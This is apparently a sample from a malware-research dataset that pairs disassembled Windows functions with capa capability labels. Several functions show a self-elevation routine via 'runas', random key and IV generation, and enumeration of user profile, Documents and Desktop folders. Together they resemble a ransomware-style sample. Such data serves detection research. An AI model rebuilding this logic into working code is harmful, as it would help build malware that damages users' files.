joyce8/EMBER2024-capa huggingface dataset:
Function at 0x515440
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], 0
jg 0x515456
xor eax, eax
jmp 0x515583
mov eax, dword [ebp - 4]
mov dword [eax + 0x54], 0
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x58], 0
mov edx, dword [ebp - 4]
add edx, 0x18
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 4]
add eax, 0x30
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push SysReAllocString
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x48], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, dword [ebp - 4]
mov dword [edx + 0x4c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x50], eax
mov edx, dword [ebp - 4]
add edx, 0x18
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 0xc], 0
jmp 0x5154e2
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jge 0x515567
push 8
call fcn.0053bae5
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0
je 0x515562
lea eax, [ebp - 0x1c]
push eax
push 4
mov ecx, dword [ebp - 8]
push ecx
push 0x515be0
push 0
push 0
call fcn.0054273b
add esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x515550
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov dword [edx], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [ecx + 4], edx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.00517840
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x515562
mov edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.0053ba8c
add esp, 4
jmp 0x5154d9
mov ecx, dword [ebp - 4]
add ecx, 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 4]
mov dword [edx + 0x5c], 1
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x515680
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x5c], 0
jne 0x515697
jmp 0x515816
mov ecx, dword [ebp - 4]
call fcn.00515b00
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x5c], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x7530
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 0xc], 0
jmp 0x5156ea
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
call fcn.00517a60
cmp dword [ebp - 0xc], eax
jge 0x51575c
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 4]
call fcn.00516890
mov eax, dword [eax]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x51575a
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x10], 0x103
jne 0x515748
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.0053ba8c
add esp, 4
jmp 0x5156e1
mov ecx, dword [ebp - 4]
call fcn.00517560
mov ecx, dword [ebp - 4]
add ecx, 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 4]
add edx, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 4]
add ecx, 0xc
call fcn.005175a0
mov eax, dword [ebp - 4]
add eax, 0x30
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x48], 0
je 0x5157b6
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x48], 0
mov edx, dword [ebp - 4]
cmp dword [edx + 0x4c], 0
je 0x5157d6
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
mov dword [edx + 0x4c], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0x50], 0
je 0x5157f6
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov dword [eax + 0x50], 0
mov ecx, dword [ebp - 4]
add ecx, 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [ebp - 0x18], 0
jne 0x515816
mov edx, dword [ebp - 4]
add edx, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov esp, ebp
pop ebp
ret
Function at 0x56c068
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5bb250]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0054adbf
mov dword [ebp - 0x14], eax
cmp dword [0x5c0ad8], esi
jne 0x56c15b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x56c0e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x56c23b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x56c23b
push 0x58702c
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x56c23b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x5c0ad8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x5c0adc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x5c0ae0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5c0ae8], eax
test eax, eax
je 0x56c158
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5c0ae4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x56c180
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x56c173
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x56c195
push 4
pop eax
jmp 0x56c23d
cmp dword [ebp - 0x14], esi
je 0x56c195
push dword [0x5c0ad8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x56c17a
mov eax, dword [0x5c0ae4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x56c1f3
cmp dword [0x5c0ae8], edi
je 0x56c1f3
push eax
call ebx
push dword [0x5c0ae8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x56c1f3
test eax, eax
je 0x56c1f3
call ecx
test eax, eax
je 0x56c1e8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x56c1e8
test byte [ebp - 8], 1
jne 0x56c1f3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x56c223
mov eax, dword [0x5c0adc]
cmp eax, edi
je 0x56c220
push eax
call ebx
test eax, eax
je 0x56c220
call eax
mov esi, eax
test esi, esi
je 0x56c220
mov eax, dword [0x5c0ae0]
cmp eax, edi
je 0x56c220
push eax
call ebx
test eax, eax
je 0x56c220
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x5c0ad8]
call ebx
test eax, eax
je 0x56c23b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x56c23d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0053e21c
mov esp, ebp
pop ebp
ret
Function at 0x4016d0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x4221c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], 0x40
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [ebp - 0x40], 0x50
jbe 0x401701
xor eax, eax
jmp 0x4018bd
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
test eax, eax
je 0x4018b8
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x98]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x58], eax
mov ecx, dword [0x422af8]
or ecx, dword [0x422afc]
je 0x401884
mov edx, dword [0x422b00]
or edx, dword [0x422b04]
je 0x401884
mov eax, dword [0x422b08]
or eax, dword [0x422b0c]
je 0x401884
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [0x422af8]
mov edx, dword [ebp - 0x48]
sbb edx, dword [0x422afc]
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x54]
sub eax, dword [0x422b00]
mov ecx, dword [ebp - 0x50]
sbb ecx, dword [0x422b04]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x5c]
sub edx, dword [0x422b08]
mov eax, dword [ebp - 0x58]
sbb eax, dword [0x422b0c]
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x70]
add ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x6c]
adc edx, dword [ebp - 0x74]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], edx
mov ecx, dword [ebp - 0x68]
sub ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x64]
sbb edx, dword [ebp - 0x7c]
call fcn.00401ee0
mulsd xmm0, qword [0x41a1f8]
mov edx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x68]
movsd qword [ebp - 0xa0], xmm0
call fcn.00401ee0
movsd xmm1, qword [ebp - 0xa0]
divsd xmm1, xmm0
movsd qword [ebp - 0xa8], xmm1
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [0x422af8], eax
mov dword [0x422afc], ecx
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [0x422b00], edx
mov dword [0x422b04], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
mov dword [0x422b08], ecx
mov dword [0x422b0c], edx
movsd xmm0, qword [0x41a1f0]
comisd xmm0, xmmword [ebp - 0xa8]
jbe 0x401878
mov dword [ebp - 0x60], 1
jmp 0x40187f
mov dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x60]
jmp 0x4018bd
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [0x422af8], eax
mov dword [0x422afc], ecx
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [0x422b00], edx
mov dword [0x422b04], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
mov dword [0x422b08], ecx
mov dword [0x422b0c], edx
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e9e
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4221c0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x401917
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.00401420
add esp, 0x10
lea edx, [ebp - 0x108]
push edx
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x40194b
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.00401420
add esp, 0x10
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x40197f
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.00401420
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e9e
mov esp, ebp
pop ebp
ret

Function at 0x401990
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4221c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401a01
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
nop
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e9e
mov esp, ebp
pop ebp
ret

Function at 0x401a20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x4221c0]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401990
test eax, eax
jne 0x401aca
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401aca
mov dword [ebp - 0x144], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x140]
push ecx
call fcn.004034e0
add esp, 0xc
mov dword [ebp - 0x138], str.runas
lea edx, [ebp - 0x108]
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x130], str.__food
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x128], 0
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401ac2
push 1
call fcn.00405a75
nop
push 0
call fcn.00405a75
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e9e
mov esp, ebp
pop ebp
ret
Function at 0x401c90
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4221c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x401cc3
mov eax, 1
jmp 0x401d76
lea ecx, [ebp - 0x34]
push ecx
push 0x20
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x401ced
push 0
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
jmp 0x401d76
lea ecx, [ebp - 0x14]
push ecx
push 0x10
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x401d14
push 0
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
jmp 0x401d76
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call fcn.00401a20
call fcn.00401ae0
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x34]
push eax
call fcn.004018d0
add esp, 0xc
cmp dword [ebp + 8], 1
jle 0x401d74
push str.__rest
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx]
push eax
call fcn.004054a0
add esp, 8
test eax, eax
jne 0x401d74
push 1
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x34]
push edx
call fcn.004018d0
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e9e
mov esp, ebp
pop ebp
ret

Function at 0x402a48
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402a87
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402a87
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402a87
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402a87
cmp dword [ecx + 0x74], 0xe
jbe 0x402a87
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40cb2f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4232f0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40cb6f
cmp byte [ebx], 0xa
jne 0x40cb6f
or byte [edi + eax + 0x28], 4
jmp 0x40cb74
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40cc73
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40cc56
inc eax
cmp dl, 0xd
je 0x40cba0
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40cbc6
cmp eax, ecx
jae 0x40cbd4
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40cb88
jmp 0x40cc73
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40cc51
cmp dword [ebp - 0x10], 0
je 0x40cc51
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4232f0]
test byte [eax + edi + 0x28], 0x48
je 0x40cc2b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40cc16
mov byte [esi], dl
jmp 0x40cc27
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4232f0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40cc73
cmp byte [ebp - 1], 0xa
jne 0x40cc3a
cmp esi, ebx
jne 0x40cc3a
mov byte [esi], 0xa
jmp 0x40cc72
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00414297
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40cc73
mov byte [esi], 0xd
jmp 0x40cc72
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4232f0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40cc70
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40cc73
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40cc7c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4232f0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40ccc2
cmp word [ebx], dx
jne 0x40ccc2
or byte [eax + edi + 0x28], 4
jmp 0x40ccc7
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x40ce2a
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x40ce0a
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x40cd08
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x40cd3e
cmp eax, edx
jae 0x40cd4c
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x40cce3
jmp 0x40ce2a
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40ce05
cmp dword [ebp - 0x18], 0
je 0x40ce05
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4232f0]
test byte [eax + edi + 0x28], 0x48
je 0x40cddb
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x40cd9f
mov word [esi], cx
jmp 0x40cdd6
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4232f0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4232f0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4232f0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x40ce2a
pop eax
cmp word [ebp - 4], ax
jne 0x40cdeb
cmp esi, ebx
jne 0x40cdeb
mov word [esi], ax
jmp 0x40ce27
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00414297
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x40ce2a
push 0xd
pop eax
jmp 0x40cde6
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4232f0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x40ce24
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x40ce2a
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40e844
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bdcc
push 0x41bdc4
push str.FlsAlloc
push 0x1f
call fcn.0040e6c3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e878
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a19c]
call esi
jmp 0x40e87e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40e8c2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bddc
push 0x41bdd4
push str.FlsGetValue
push 0x21
call fcn.0040e6c3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e8f9
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a19c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40e901
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bde4
push 0x41bddc
push str.FlsSetValue
push 0x22
call fcn.0040e6c3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e93b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41a19c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4112cd
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41136a
push ebx
push esi
call fcn.00411296
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041122a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x411317
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x411369
push edi
push eax
call fcn.0040b28a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x411337
call fcn.0040b250
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x411368
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041122a
add esp, 0x20
test eax, eax
jne 0x411356
push edi
call fcn.0040b250
jmp 0x41135e
push ebx
call fcn.0040b250
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret